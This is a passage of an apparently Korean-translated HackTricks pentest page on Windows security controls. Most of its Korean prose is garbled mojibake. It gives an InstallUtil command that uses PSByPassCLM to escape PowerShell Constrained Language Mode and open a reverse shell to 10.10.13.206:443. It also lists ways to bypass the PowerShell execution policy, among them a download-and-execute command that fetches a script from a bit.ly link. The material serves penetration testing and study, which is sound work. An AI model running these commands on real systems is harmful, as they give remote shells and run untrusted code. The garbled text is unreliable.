ํ˜„์žฌ Windows์—์„œ๋Š” ํ•ด๋‹น Bypass๊ฐ€ ์ž‘๋™ํ•˜์ง€ ์•Š์ง€๋งŒ PSByPassCLM.
์ปดํŒŒ์ผํ•˜๋ ค๋ฉด ๋‹ค์Œ์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Add a Reference -> Browse ->Browse -> add C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll and change the project to .Net4.5.

์ง์ ‘ ์šฐํšŒ:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Reverse shell:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

ReflectivePick ๋˜๋Š” SharpPick์„(๋ฅผ) ์‚ฌ์šฉํ•ด ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค์—์„œ Powershell ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  constrained mode๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode.

PS ์‹คํ–‰ ์ •์ฑ…

๊ธฐ๋ณธ์ ์œผ๋กœ **restricted.**๋กœ ์„ค์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •์ฑ…์„ ์šฐํšŒํ•˜๋Š” ์ฃผ์š” ๋ฐฉ๋ฒ•:

1ยบ Just copy and paste inside the interactive PS console
2ยบ Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3ยบ Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4ยบ Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5ยบ Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6ยบ Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7ยบ Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8ยบ Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9ยบ Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

์ž์„ธํ•œ ๋‚ด์šฉ์€ here์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Security Support Provider Interface (SSPI)

์‚ฌ์šฉ์ž ์ธ์ฆ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” API์ž…๋‹ˆ๋‹ค.

SSPI๋Š” ํ†ต์‹ ํ•˜๋ ค๋Š” ๋‘ ๋จธ์‹ ์— ์ ์ ˆํ•œ ํ”„๋กœํ† ์ฝœ์„ ์ฐพ๋Š” ์—ญํ• ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ ๊ธฐ๋ณธ์ ์œผ๋กœ ์„ ํ˜ธ๋˜๋Š” ๋ฐฉ๋ฒ•์€ Kerberos์ž…๋‹ˆ๋‹ค. SSPI๋Š” ์–ด๋–ค ์ธ์ฆ ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ• ์ง€ ํ˜‘์ƒํ•˜๋ฉฐ, ์ด๋Ÿฌํ•œ ์ธ์ฆ ํ”„๋กœํ† ์ฝœ์„ Security Support Provider(SSP)๋ผ๊ณ  ๋ถ€๋ฆ…๋‹ˆ๋‹ค. SSP๋Š” ๊ฐ Windows ๋จธ์‹  ๋‚ด์— DLL ํ˜•ํƒœ๋กœ ์กด์žฌํ•˜๋ฉฐ, ํ†ต์‹ ํ•˜๋ ค๋ฉด ์–‘์ชฝ ๋จธ์‹ ์ด ๋™์ผํ•œ SSP๋ฅผ ์ง€์›ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Main SSPs

  • Kerberos: The preferred one
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 and NTLMv2: Compatibility reasons
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Web servers and LDAP, password in form of a MD5 hash
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL and TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
  • %windir%\Windows\System32\lsasrv.dll

ํ˜‘์ƒ์€ ์—ฌ๋Ÿฌ ๋ฐฉ๋ฒ•์„ ์ œ์‹œํ•˜๊ฑฐ๋‚˜ ๋‹จ ํ•˜๋‚˜๋งŒ ์ œ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

UAC - ์‚ฌ์šฉ์ž ๊ณ„์ • ์ปจํŠธ๋กค

User Account Control (UAC)์€ ๊ถŒํ•œ ์ƒ์Šน ์ž‘์—…์— ๋Œ€ํ•ด ์Šน์ธ ํ”„๋กฌํ”„ํŠธ๋ฅผ ์ œ๊ณตํ•˜๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

UAC - User Account Control

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ